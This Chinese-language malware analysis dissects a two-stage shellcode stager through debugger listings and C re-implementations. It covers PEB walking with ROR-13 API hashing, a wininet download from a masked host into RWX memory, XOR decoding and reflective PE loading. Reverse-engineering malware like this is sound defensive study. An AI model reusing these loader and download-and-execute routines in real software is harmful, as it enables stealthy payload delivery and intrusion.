`_PEB_LDR_DATA`结构体如下：
在这个结构体中，位于0xc，0x14，0x1c三处，有三个LIST_ENTRY类型的结构体，这三个结构体是一回事，都是保存着模块基址的链表，只不过是以不同顺序排列的链表，加载顺序，内存中的顺序，初始化模块的顺序
//0x30 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
//目标位置
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
UCHAR ShutdownInProgress; //0x28
VOID* ShutdownThreadId; //0x2c
};
`LIST_ENTRY`这个结构很有意思，里面只有两个元素，分别是下一个`LIST_ENTRY`和上一个`LIST_ENTRY`的地址
struct _LIST_ENTRY
{
struct _LIST_ENTRY* Flink; //0x0
struct _LIST_ENTRY* Blink; //0x4
};
实际的结构会如图所示：存在于不同的结构体中，通过偏移的方式访问链表所挂结构体的不同位置
而在`_PEB_LDR_DATA`结构体中的`LIST_ENTRY`中的地址，所指向的结构体是`_LDR_DATA_TABLE_ENTRY`
结构如下：
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x8
struct _LIST_ENTRY InInitializationOrderLinks; //0x10
VOID* DllBase; //0x18
VOID* EntryPoint; //0x1c
ULONG SizeOfImage; //0x20
struct _UNICODE_STRING FullDllName; //0x24
//目标位置
struct _UNICODE_STRING BaseDllName; //0x2c
//...(省略)
ULONG ReferenceCount; //0x9c
ULONG DependentLoadFlags; //0xa0
UCHAR SigningLevel; //0xa4
};
从上面的结构可以看出：
`_PEB_LDR_DATA`里的`_LIST_ENTRY`里的首个元素`FLINK`，指向`_LDR_DATA_TABLE_ENTRY`里的`_LIST_ENTRY`的首地址，shellcode里使用的是`InMemoryOrderModuleList`，所以在`_LDR_DATA_TABLE_ENTRY`中位于首地址的0x8处
有点类似下图的样子：
在`_LDR_DATA_TABLE_ENTRY`这个结构体中，第0x24的位置是一个`_UNICODE_STRING`类型的结构体，从定义的变量名BaseDllName也能看出来，报错的是模块的名，这个结构体如下：
//0x8 bytes (sizeof)
struct _UNICODE_STRING
{
USHORT Length; //0x0
//最大长度，描述的是下面的Buffer的按照对齐的最大长度，两个字节大小的数值
USHORT MaximumLength; //0x2
WCHAR* Buffer; //0x4
};
这时再回到shellcode的反汇编代码，就可以知道：
mov ebp,esp
xor edx,edx
mov edx,dword ptr fs:[edx+30]
mov edx,dword ptr ds:[edx+C]
//获取描述第一个模块的_LDR_DATA_TABLE_ENTRY其中的0x8位置
mov edx,dword ptr ds:[edx+14]
//获取该模块BaseDllName的buffer，即模块名
mov esi,dword ptr ds:[edx+28]
//获取该模块名的最大长度
movzx ecx,word ptr ds:[edx+26]
xor edi,edi
xor eax,eax
#### 1.1.2计算哈希
如下图可以看到，第一个模块是exe文件本身
接下来一段代码，就十分有趣了，是计算哈希值的算法，也是比较传统的方式
大概意思是，依次从文件名的字符数组中读取一个字符，大于0x61就减0x20（相当于小写变大写），然后累加，累加前要把上次的求和循环右移0xD位
具体代码提现就是如下：
DWORD GetModuleHash(PWCHAR str,DWORD strlen)
{
DWORD result = 0;
char * temp = (PCHAR)str;
for (int i = 0; i < strlen; i++)
{
//循环右移
result = ((result >> 0xD) | (result << (0x20 - 0xD)));
if (temp[i] >= 0x61)
{
temp[i] -= 0x20;
}
result += temp[i];
}
//printf("%x", result);
return result;
}
#### 1.1.3判断导出表
接下来的一段，了解PE文件结构的时候，定然一眼看穿，我们已经大概感知到了，找到模块不是目的，找到模块里的函数地址才应该是最终目的。所以首先要判断的是有没有导出表
从上文的汇编代码中已经直到，edx寄存器，保存了`_LDR_DATA_TABLE_ENTRY`其中的0x8位置，其中0x18是DllBase，也就是模块基址。
模块的0x30位置是PE文件NT头距离DOS头的偏移，距离NT头0x78的位置是可选PE头的数据目录（是一个数组），其中第一个数组的第一个位置是导出表的RVA（也就是距离模块基址的偏移地址），如果为0，那就是没有导出表
因为我们启动的exe没有导出任何函数，所以这部分为空，我们打断点，跑到下一模块
#### 1.1.4遍历导出表，计算函数哈希
下一个模块就是ntdll.dll，然后进行的内容就是，遍历导出表，计算函数名的哈希
通过上文找到的偏移地址（RVA）加上模块基址，指向的地址就是下面这样一个结构体，这个结构体是关于导出表的一个描述符，里面最后五个成员尤为重要
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;//函数地址导出的函数数量
DWORD NumberOfNames;//函数姓名导出的函数数量
DWORD AddressOfFunctions; // RVA 导出函数地址表
DWORD AddressOfNames; // RVA 导出函数名称表
DWORD AddressOfNameOrdinals; // RVA 导出函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
其中，`AddressOfFunctions`指向的是一个数组，每个元素是4个字节，保存的是函数的地址偏移（RVA）
AddressOfNames指向的是一个数组，每个元素4个字节，保存的是函数名称的地址偏移（RVA）
AddressOfNameOrdinals指向的是一个数组，每个元素2个字节，数组下标的顺序AddressOfNames数组的顺序，对应的值（序号）是在`AddressOfFunctions`中的下标，也就是通过名称找到名称表中的下标，然后在序号表找到对应的序号，通过序号在地址表找到地址
具体情况如图所示：
不过正常的顺序是找到名字，先计算哈希，然后进行判断，如果判断符合再去找到对应地址表中函数的地址
哈希的计算方式跟模块计算相差不多，除了不做大小写变形外，就是函数名和模块名的区别，函数名是CHAR，而模块名是WCHAR，所以计算函数名的时候，不存储字符长度，只判断字符串是否到了结尾（最后一位为0）
函数名哈希的计算代码如下：
DWORD GetFuncHash(PCHAR str)
{
DWORD result = 0;
char * strTemp = str;
for (int i = 0; i <= strlen(str); i++)
{
result = (result >> 0xD) | (result << (0x20 - 0xD));
result += strTemp[i];
}
return result；
}
#### 1.1.5判断哈希，获取函数地址并调用
下面要做的事情，就是判断哈希值是否正确，然后获取第一个函数
如何判断：如图所示，把模块的哈希值和函数的哈希值求和，然后与传入的那个哈希值比较，相等就是找到了对应的函数。
确定为要找的函数，然后通过上文的方式找到对应的函数地址
找到之后就如图所示，调用这个函数，注意画箭头的地址，push进栈的就是调用函数返回的位置，可以记住它，这个位置其实就是调用功能函数后面要执行的代码，也就是调用本函数后返回的位置
（所以这个调用并没有用call，而是用push 地址，jmp 函数地址 的方式）
至此该功能函数的执行过程大概有了一个了解，代码类似如下（其他部分在上文）：
DWORD GetFuncAddr(DWORD moduleBase, DWORD modulehash,DWORD targetHash)
{
DWORD funcAddr = 0;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + moduleBase);
PIMAGE_OPTIONAL_HEADER pOptionHeader = &pNtHeader->OptionalHeader;
//获取导出表描述符的地址，并判断是否有导出表
DWORD pExportRva = pOptionHeader->DataDirectory[0].VirtualAddress;
if (pOptionHeader->DataDirectory[0].VirtualAddress == 0)
{
return funcAddr;
}
PIMAGE_EXPORT_DIRECTORY pExportTableVa = PIMAGE_EXPORT_DIRECTORY
(pOptionHeader->DataDirectory[0].VirtualAddress + moduleBase);
//获取三张导出表
DWORD * nameTable = (DWORD*)(pExportTableVa->AddressOfNames + moduleBase);
DWORD * funcTable = (DWORD*)(pExportTableVa->AddressOfFunctions + moduleBase);
WORD * orderTable = (WORD*)(pExportTableVa->AddressOfNameOrdinals + moduleBase);
//遍历姓名表，计算哈希，判断是否为目标函数
for (int i = 0; i < pExportTableVa->NumberOfNames; i++)
{
DWORD tempHash = GetFuncHash((PCHAR)(nameTable[i] + moduleBase));
if (tempHash + modulehash == targetHash)
{
funcAddr = funcTable[orderTable[i]] + moduleBase;
break;
}
}
return funcAddr;
}
/*
*通过hash，获取对应函数的地址
*/
DWORD GetAddrByHash(DWORD hashCode)
{
DWORD target = 0;
PLIST_ENTRY mmModuleListFirst = NULL;
//获取链表
__asm
{
mov eax, dword ptr fs : [0]
mov eax, [eax + 0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x14]
mov mmModuleListFirst, eax
}
if (mmModuleListFirst == NULL)
{
printf("链表获取失败\n");
return target;
}
PLIST_ENTRY mmModuleListNext = mmModuleListFirst->Flink;
//遍历链表
while (mmModuleListNext != mmModuleListFirst)
{
PLDR_DATA_TABLE_ENTRY pldrTableEntry = (PLDR_DATA_TABLE_ENTRY)((DWORD)mmModuleListNext - 0x8);
char * buff = (char *)malloc(pldrTableEntry->BaseDllName.MaximumLength);
memcpy(buff, pldrTableEntry->BaseDllName.Buffer, pldrTableEntry->BaseDllName.MaximumLength);
//计算模块名的哈希
DWORD moduleHash = GetModuleHash((PWCHAR)buff, pldrTableEntry->BaseDllName.MaximumLength);
//计算函数名的哈希，具体函数在上面
target = GetFuncAddr((DWORD)pldrTableEntry->DllBase, moduleHash, hashCode);
if (target != 0)
{
break;
}
mmModuleListNext = mmModuleListNext->Flink;
}
return target;
}
### 1.2调用顺序
了解了这个功能函数，后面的事情似乎会变得更加顺利，因为后面的事情无非就是
参数 + 特征码 --> 功能函数 --> 获取目标函数 -->调用执行
**第一次调用**
push 0x74656E
push 0x696E6977
push esp
push 0x726774C
call ebp
//执行函数
HMODULE hWinnet = LoadLibraryA("wininet");
**第二次调用**
push edi //edi都为0
push edi
push edi
push edi
push edi
push 0xA779563A
call ebp
//eax=<wininet.InternetOpenA>
//执行函数
HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
获取到一个HINTERNET类型的句柄
**第三次调用**
push ecx //ecx == 0
push ecx
push 0x3 //服务类型，http
push ecx
push ecx
push 0x7561 //端口 16进制
push ebx //ebx == 请求连接的域名或ip字符串
push eax //eax == 上次调用获取的句柄（第一个参数）
push C69F8957
call ebp
//eax=<wininet.InternetConnectA>
//执行函数
hInternet = InternetConnectA(hInternet, "x.x.x.x", 30048, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
建立一个internet链接
**第四次调用**
push edx //edx == 0
push 0x84400200
push edx
push edx
push edx
push ebx //域名后跟的要访问的文件名
push edx
push eax //上次调用返回的句柄
push 3B2E55EB
call ebp
//eax=<wininet.HttpOpenRequestA>
//执行函数
hInternet = HttpOpenRequestA(hInternet, NULL, "/rAED", NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
**第五次调用**
push edi //edi == 0
push edi
push 0xFFFFFFFF //请求头长度，-1就当成ascii字符串到\0结束
push ebx //User-Agent，请求头信息等
push esi //上次调用返回的句柄
push 0x7B18062D
call ebp
//eax=<wininet.HttpSendRequestA>
//执行函数
CHAR header[] = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)\n\r";
HttpSendRequestA(hInternet, header, -1, NULL, 0);
这次调用发送了http请求
**第六次调用**
push 0x315E2145
call ebp
//eax=<user32.GetDesktopWindow>
//执行函数
HWND hWnd = GetDesktopWindow();
**第七次调用**
push edi
push 0x7
push ecx
push esi
push eax
push 0xBE057B7
call ebp
//eax=<wininet.InternetErrorDlg>
//执行函数
InternetErrorDlg(hWnd, hInternet, xxx, 0x7, NULL);
会判断是否返回`ERROR_INTERNET_FORCE_RETRY`，0x2F00，没有问题继续调用
**第八次调用**
push 0x40
push 0x1000
push 0x400000 //分配一整个物理页，小页4kb
push edi //edi == 0
push E553A458
call ebp
//eax=<kernel32.VirtualAlloc>
//函数执行
LPVOID target = VirtualAlloc(0,0x400000,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
这次调用开始就进入关键步骤了，看到了老演员，开始分配内存，那可以推断出后面就是写内容到内存进而进一步执行。
**第九次调用**
push ecx //保存环境
push ebx
mov edi,esp
//函数开始位置
push edi //
push 2000
push ebx
push esi
push E2899612
call ebp
//eax=<wininet.InternetReadFile>
循环读取internet请求的内容到分配的内存中，直到读取不到为止，edi指向的地址就是每次读取的到字节数
代码表示类似于如下情况：
LPVOID target = VirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
BOOL bRes = 0;
do
{
bRes = InternetReadFile(hInternet, target, 0x2000, &realRead);
if (bRes == FALSE)
{
break;
}
target = (LPVOID)((DWORD)target+0x2000);
} while (realRead != 0);
最后通过retn调回到栈顶的地址，也就是新加载到内存中的shellcode的首地址，至此第一阶段结束。
## 2.第二阶段
第二阶段主要就是执行从远程加载到内存的shellcode，会有一些解密处理，还有一些跟第一阶段相似的内容，我们来看一看吧
### 2.1动态解密
为了方便，我们利用x64dbg把第一阶段加载到内存的shellcode，dump到本地文件（具体方法，下一段dump有写），然后重新开一个程序，以读取文件到内存的方式进行加载执行
以如下代码作为开始：
void start2nd()
{
HANDLE hfile = CreateFileA("1.mem", FILE_ALL_ACCESS, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
ReadFile(hfile, buffer, 0x4000000,&realRead, NULL);
((void(*)())buffer)();
}
首先经过一段反复横跳，获取开始执行解密代码的EIP，然后就进入了如图所示的解密部分。
其中ESI寄存器，存储的是首次位置，也就是图中标着“钥匙”的位置
然后用“钥匙”跟第二个DWORD（4个字节）求异或得到了解密长度，存放在了edx寄存器中
然后便开始从第三个DWORD开始解密
**解密方式：**
新数据 = 旧钥匙 ^ 旧数据
新钥匙 = 新数据 ^ 旧钥匙
**等价于：**
新数据 = 旧钥匙 ^ 旧数据
新钥匙 = 旧数据
代码类似如下：
void decode(DWORD*start)
{
DWORD *begin = start;
DWORD key = begin[0];
DWORD len = begin[1] ^ begin[0];
begin = begin + 2;
for (int i = 0; i < len; i++)
{
DWORD newKey = begin[i];
begin[i] = begin[i] ^ key;
key = newKey;
}
}
### 2.2定位PE
经过解密之后，又反复跳了几次，应该都是为了获取一些定位位置，然后经过了这样一段，老实说我当时也没搞清楚这段是在干嘛（用来检查堆栈？还是定义临时变量，数组等等）
经过这段，进入了一个函数中，这个函数就是用来定位PE文件的，大家会想定位什么PE?，其实，在这段内存中藏了一个PE文件，解密之后，就已经原形毕露了。所以，需要通过这个函数找到对应的PE文件的头部
大致的结构是，从某个最后的位置开始一个字节一个字节的向后，依次判断几个关键点，具体看下文：
//将起始地址存入局部变量中[ebp-8]
02587EE9 | 8945 F8 | mov dword ptr ss:[ebp-8],eax |
//相当于while（true）
02587EEC | B8 01000000 | mov eax,1 |
02587EF1 | 85C0 | test eax,eax |
02587EF3 | 74 47 | je 2587F3C |
//从该地址取两个字节判断是否等于0x5a4d也就是dos文件头的标志
02587EF5 | 8B4D F8 | mov ecx,dword ptr ss:[ebp-8] |
02587EF8 | 0FB711 | movzx edx,word ptr ds:[ecx] |
02587EFB | 81FA 4D5A0000 | cmp edx,5A4D |
02587F01 | 75 2E | jne 2587F31 |
//判断dos头中e_lfanew属性值是否在0x40到0x400之间，也就是NT头的偏移位置
02587F03 | 8B45 F8 | mov eax,dword ptr ss:[ebp-8] |
02587F06 | 8B48 3C | mov ecx,dword ptr ds:[eax+3C] |
02587F09 | 894D FC | mov dword ptr ss:[ebp-4],ecx |
02587F0C | 837D FC 40 | cmp dword ptr ss:[ebp-4],40 | 40:'@'
02587F10 | 72 1F | jb 2587F31 |
02587F12 | 817D FC 00040000 | cmp dword ptr ss:[ebp-4],400 |
02587F19 | 73 16 | jae 2587F31 |
//判断NT头的位置是否为0x4550，也就是NT头的标志
02587F1B | 8B55 FC | mov edx,dword ptr ss:[ebp-4] |
02587F1E | 0355 F8 | add edx,dword ptr ss:[ebp-8] |
02587F21 | 8955 FC | mov dword ptr ss:[ebp-4],edx |
02587F24 | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
02587F27 | 8138 50450000 | cmp dword ptr ds:[eax],4550 |
02587F2D | 75 02 | jne 2587F31 |
//满足条件，返回pe文件起始
02587F2F | EB 0B | jmp 2587F3C |
02587F31 | 8B4D F8 | mov ecx,dword ptr ss:[ebp-8] |
//没有找到位置减一，回到循环入口
02587F34 | 83E9 01 | sub ecx,1 |
02587F37 | 894D F8 | mov dword ptr ss:[ebp-8],ecx |
02587F3A | EB B0 | jmp 2587EEC |
02587F3C | 8B45 F8 | mov eax,dword ptr ss:[ebp-8] |
代码可以类似如下：
PCHAR GetPeAddr(PCHAR start)
{
PCHAR begin = start;
PCHAR target = NULL;
while (1)
{
if (*(WORD*)begin == 0x5A4D)
{
DWORD e_lfanew = *(DWORD*)((DWORD)begin + 0x3c);
if (e_lfanew>=0x40 && e_lfanew < 0x400)
{
DWORD* ntHead = (DWORD*)((DWORD)begin + e_lfanew);
if (*ntHead == 0x4550)
{
target = begin;
break;
}
}
}
begin++;
}
return target;
}
### 2.3获取api
当找到了PE文件的位置，为了进一步处理，一定是需要一些系统API辅助，所以，就进入了下一个call，这个call传入了一个地址（就是一开始没理解的云里雾里的一段），这里我推测这是一个数组，是用来盛装找到的api地址
然后我们跟进去
如果经过了上一部分，到这部分应该反而很轻松，因为满眼都是老演员，这部分就是遍历模块
如果看的眼花缭乱，那是因为多了很多局部变量，给他去掉再来看：
mov eax,dword ptr fs:[30]
mov eax,dword ptr ds:[eax+C]
mov eax,dword ptr ds:[eax+14]
cmp eax,0
获得了`_PEB_LDR_DATA`结构体
//获取_PEB_LDR_DATA
02477F79 | 8B55 EC | mov edx,dword ptr ss:[ebp-14] |
//获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的buffer
02477F7C | 8B42 28 | mov eax,dword ptr ds:[edx+28] |
02477F7F | 8945 DC | mov dword ptr ss:[ebp-24],eax |
//获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的length
02477F82 | 8B4D EC | mov ecx,dword ptr ss:[ebp-14] |
02477F85 | 66:8B51 24 | mov dx,word ptr ds:[ecx+24] |
02477F89 | 66:8955 D8 | mov word ptr ss:[ebp-28],dx |
//至此：模块名称的地址--> [ebp-24] 名称长度--> [ebp-28]
//下面跟之前计算模块名称哈希的方式一样，循环右移，求和
02477F8D | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 |
02477F94 | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
//[ebp-4] --> 存放累加的和 先循环右移
02477F97 | C1C8 0D | ror eax,D |
02477F9A | 8945 FC | mov dword ptr ss:[ebp-4],eax |
//取模块名称的一个一个字母
02477F9D | 8B4D DC | mov ecx,dword ptr ss:[ebp-24] |
02477FA0 | 0FB611 | movzx edx,byte ptr ds:[ecx] |
//不小于61，减0x20，然后累加到[ebp-4]
02477FA3 | 83FA 61 | cmp edx,61 |
02477FA6 | 7C 12 | jl 2477FBA |
02477FA8 | 8B45 DC | mov eax,dword ptr ss:[ebp-24] |
02477FAB | 0FB608 | movzx ecx,byte ptr ds:[eax] |
02477FAE | 8B55 FC | mov edx,dword ptr ss:[ebp-4] |
//这里注意，都是用lea指令累加
02477FB1 | 8D440A E0 | lea eax,dword ptr ds:[edx+ecx-20] |
02477FB5 | 8945 FC | mov dword ptr ss:[ebp-4],eax |
02477FB8 | EB 0C | jmp 2477FC6 |
//小于0x61，直接累加到[ebp-4]
02477FBA | 8B4D DC | mov ecx,dword ptr ss:[ebp-24] |
02477FBD | 0FB611 | movzx edx,byte ptr ds:[ecx] |
02477FC0 | 0355 FC | add edx,dword ptr ss:[ebp-4] |
02477FC3 | 8955 FC | mov dword ptr ss:[ebp-4],edx |
//名称地址+1
02477FC6 | 8B45 DC | mov eax,dword ptr ss:[ebp-24] |
02477FC9 | 83C0 01 | add eax,1 |
02477FCC | 8945 DC | mov dword ptr ss:[ebp-24],eax |
//名称长度-1
02477FCF | 66:8B4D D8 | mov cx,word ptr ss:[ebp-28] |
02477FD3 | 66:83E9 01 | sub cx,1 |
02477FD7 | 66:894D D8 | mov word ptr ss:[ebp-28],cx |
//判断长度是否为0
02477FDB | 0FB755 D8 | movzx edx,word ptr ss:[ebp-28] |
02477FDF | 85D2 | test edx,edx |
02477FE1 | 75 B1 | jne 2477F94 |
//跟模块hash比较
02477FE3 | 817D FC 5BBC4A6A | cmp dword ptr ss:[ebp-4],6A4ABC5B |
通过以上内容可知，只需要一个模块的哈希，这个hash对应的模块名是Kernel32.dll
为了获取api地址，下一步一定就是开始遍历模块导出表了
//获取模块基址 Dllbase --> [ebp-18]
02477FFB | 8B55 EC | mov edx,dword ptr ss:[ebp-14] |
02477FFE | 8B42 10 | mov eax,dword ptr ds:[edx+10] |
02478001 | 8945 E8 | mov dword ptr ss:[ebp-18],eax |
//获取导出表地址RVA --> [ebp-c]
02478004 | 8B4D E8 | mov ecx,dword ptr ss:[ebp-18] |
02478007 | 8B55 E8 | mov edx,dword ptr ss:[ebp-18] |
0247800A | 0351 3C | add edx,dword ptr ds:[ecx+3C] |
0247800D | 8955 E0 | mov dword ptr ss:[ebp-20],edx |
02478010 | 8B45 E0 | mov eax,dword ptr ss:[ebp-20] |
02478013 | 83C0 78 | add eax,78 |
02478016 | 8945 F4 | mov dword ptr ss:[ebp-C],eax |
//获取导出表的描述符VA --> [ebp-20]
02478019 | 8B4D F4 | mov ecx,dword ptr ss:[ebp-C] |
0247801C | 8B55 E8 | mov edx,dword ptr ss:[ebp-18] |
0247801F | 0311 | add edx,dword ptr ds:[ecx] |
02478021 | 8955 E0 | mov dword ptr ss:[ebp-20],edx |
//获取导出名称表VA --> [ebp-c]
02478024 | 8B45 E0 | mov eax,dword ptr ss:[ebp-20] |
02478027 | 8B4D E8 | mov ecx,dword ptr ss:[ebp-18] |
0247802A | 0348 20 | add ecx,dword ptr ds:[eax+20] |
0247802D | 894D F4 | mov dword ptr ss:[ebp-C],ecx |
//获取导出序号表VA --> [ebp-1c]
02478030 | 8B55 E0 | mov edx,dword ptr ss:[ebp-20] |
02478033 | 8B45 E8 | mov eax,dword ptr ss:[ebp-18] |
02478036 | 0342 24 | add eax,dword ptr ds:[edx+24] |
02478039 | 8945 E4 | mov dword ptr ss:[ebp-1C],eax |
//设定结束标志，可见有6个api需要找到-->[ebp-28]
0247803C | B9 06000000 | mov ecx,6 |
02478041 | 66:894D D8 | mov word ptr ss:[ebp-28],cx |
02478045 | 0FB755 D8 | movzx edx,word ptr ss:[ebp-28] |
02478049 | 85D2 | test edx,edx |
0247804B | 0F8E 4B010000 | jle 247819C |
//取出函数名称的地址 -->[ebp-38]
02478051 | 8B45 F4 | mov eax,dword ptr ss:[ebp-C] |
02478054 | 8B4D E8 | mov ecx,dword ptr ss:[ebp-18] |
02478057 | 0308 | add ecx,dword ptr ds:[eax] |
02478059 | 894D C8 | mov dword ptr ss:[ebp-38],ecx |
//设定累加的值--> [ebp-34] 循环右移0xd
0247805C | C745 CC 00000000 | mov dword ptr ss:[ebp-34],0 |
02478063 | 8B55 CC | mov edx,dword ptr ss:[ebp-34] |
02478066 | C1CA 0D | ror edx,D |
02478069 | 8955 CC | mov dword ptr ss:[ebp-34],edx |
//取函数名称的一个字符累加
0247806C | 8B45 C8 | mov eax,dword ptr ss:[ebp-38] |
0247806F | 0FBE08 | movsx ecx,byte ptr ds:[eax] |
02478072 | 034D CC | add ecx,dword ptr ss:[ebp-34] |
02478075 | 894D CC | mov dword ptr ss:[ebp-34],ecx |
//函数名称的地址后移1个字节
02478078 | 8B55 C8 | mov edx,dword ptr ss:[ebp-38] |
0247807B | 83C2 01 | add edx,1 |
0247807E | 8955 C8 | mov dword ptr ss:[ebp-38],edx |
//判断后移后的字节是否为0，即字符串截止位置
02478081 | 8B45 C8 | mov eax,dword ptr ss:[ebp-38] |
02478084 | 0FBE08 | movsx ecx,byte ptr ds:[eax] |
02478087 | 85C9 | test ecx,ecx |
02478089 | 75 D8 | jne 2478063 |
后面就是分别跟不同的特征码进行比较，由上文了解，共计六个函数，所以就有六个特征码进行比较，分别对应的函数如下：
//ecx=<kernel32.LoadLibraryA>
cmp dword ptr ss:[ebp-10],EC0E4E8E
je 24780CB
//ecx=<kernel32.GetProcAddress>
cmp dword ptr ss:[ebp-10],7C0DFCAA
je 24780CB
//ecx=<kernel32.VirtualAlloc>
cmp dword ptr ss:[ebp-10],91AFCA54
je 24780CB
//ecx=<kernel32.VirtualProtect>
cmp dword ptr ss:[ebp-10],7946C61B
je 24780CB
//ecx=<kernel32.LoadLibraryExA>
cmp dword ptr ss:[ebp-10],753A4FC
je 24780CB
//ecx=<kernel32.GetModuleHandleA>
cmp dword ptr ss:[ebp-10],D3324904
### 2.4验证函数和分配内存
接下来就进入下一个call了，这个call传入了保存那六个api的其实地址。
然后依次，检查这几个位置是否是空的，也就是检查这几个函数的地址是否顺利得到
在进入下一个call前，做了一些准备工作，如图，获取pe文件的起始位置，以及NT头的位置
其中，这一步的目的是判断，文件头成员，文件属性的最高位是否为1
然后传入四个参数，进入call中
//参数1,0x40
02497D71 | 8B4D D0 | mov ecx,dword ptr ss:[ebp-30] |
02497D74 | 51 | push ecx |
//参数2，pe文件基址
02497D75 | 8B55 AC | mov edx,dword ptr ss:[ebp-54] |
02497D78 | 52 | push edx |
//参数3，nt头
02497D79 | 8B45 CC | mov eax,dword ptr ss:[ebp-34] | [ebp-34]:"PE"
02497D7C | 50 | push eax | eax:"PE"
//参数4，ecx=<&GetModuleHandleA>基址
02497D7D | 8D4D D4 | lea ecx,dword ptr ss:[ebp-2C] |
02497D80 | 51 | push ecx |
02497D81 | E8 880A0000 | call 249880E |
进入call之后，经过了一些无关紧要的判断（其实重要，但是对于了解整体的执行脉络没意义）
第一次调用api，VirtualAlloc() 分配内存
//倒数第一个参数0x40
023C88D1 | 52 | push edx |
//倒数第二个参数0x3000
023C88D2 | 68 00300000 | push 3000 |
//倒数第三个参数 0x3e000
023C88D7 | 8B45 0C | mov eax,dword ptr ss:[ebp+C] | [ebp+C]:"PE"
023C88DA | 8B48 50 | mov ecx,dword ptr ds:[eax+50] |
023C88DD | 51 | push ecx |
//倒数第四个参数 0
023C88DE | 6A 00 | push 0 |
023C88E0 | 8B55 08 | mov edx,dword ptr ss:[ebp+8] |
023C88E3 | 8B42 10 | mov eax,dword ptr ds:[edx+10] | eax:"PE"
023C88E6 | FFD0 | call eax |;
//代码类似于如下
VirtualAlloc(NULL, 0x3e000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
### 2.5清空内存，复制内存
然后返回，先做准备工作然后进入下一个call
准备工作就是清零，把al里的值放置到edi的位置，每次ecx递减，直至为0
然后传入四个参数分别是，0，dos头地址，nt头地址，以及新区域基址
进入call后，首先获取PE文件所有头部的大小 --> [ebp - 0x4]
重复复制esi指向的地址到edi指向的地址，一次一个字节，共计复制ecx个字节
也就是把原PE文件的头部，复制到目标内存中
判断PE文件的文件属性，第一位是否为1，也就是是否有重定位信息
### 2.6复制区段
如图所示，进入前，先传入了五个参数
然后就是找到第一个区段头的一些信息，区段头的首地址，区段的数量，以此推测，后面应该是复制区段
跟前面一样，是依次复制旧PE文件的区段，到新PE文件中去
注意，后面跟0x20000000求与运算，判断区段是否可执行，如果是可执行的区段，就把分别把新旧区段的地址保存到我们传入的两个地址中，然后依次复制.rdata，.data，.reloc区段的内容到新内存中
### 2.7修复文件
接下来进入的几个api，应该都跟修复这个pe文件有关系，因为原本封装的时候，肯定是直接以文件包在里面的，所以，要想直接加载到内存里，必须要做很多修复工作
首先进入下一个api，传入的参数如下：
刚刚进入这个函数，就在新内存区域的末尾，开辟了大约40个字节，一看就是要搞事情
#### 2.7.1修复导入表
在可选PE头中，前文提过数据目录的第一个结构，导出表，而第二个结构就是导入表，导入表是一个数组套数组的结构，数据目录里保存着第一个
导入模块的描述符地址，结构体名称：`_IMAGE_IMPORT_DESCRIPTOR`，获取到了模块名称
struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;//导入模块名的RVA
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
把导入模块描述符中的名字，依次复制到上文开辟的那段0x40的空间中，然后进入下一个call中
传入了三个参数，0x40,0，复制出来的模块名字符串的地址，进去之后啥也没敢，只是简单跳两下就回来了。应该是判断传入的最后一个参数是否为0
然后调用LoadLibraryA函数，加载模块
然后导入名称表或者导入地址表都会指向这个结构，`_IMAGE_THUNK_DATA`
因为是联合体，如果是在未加载内存的情况下，两个地址也就是OriginalFirstThunk和`FirstThunk`指向的都是相同的表（也就是连续的数组），里面存放的都是函数名称
如果加载到内存，`FirstThunk`指向地址，称IAT表，OriginalFirstThunk指向名称，称INT
地址表，那么结构中的Function就是地址，指向名称，AddressOfData就是名称结构体的地址，具体如下：
struct _IMAGE_THUNK_DATA{
union {
DWORD ForwarderString;
DWORD Function; //被输入的函数的内存地址
DWORD Ordinal; //高位为1则被输入的API的序数值
DWORD AddressOfData;//高位为0则指向IMAGE_IMPORT_BY_NAME 结构体二
}u1;
}IMAGE_THUNK_DATA;
//IMAGE_THUNK_DATA64与IMAGE_THUNK_DATA32的区别，仅仅是把DWORD换成了64位整数。
struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;//指出函数在所在的dll的输出表中的序号
BYTE Name[1];//指出要输入的函数的函数名
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
从图中可以看出，获取了`_IMAGE_THUNK_DATA`的地址，然后分别保存里面两个重要的地址，一个是导入地址表，一个是导入名称表
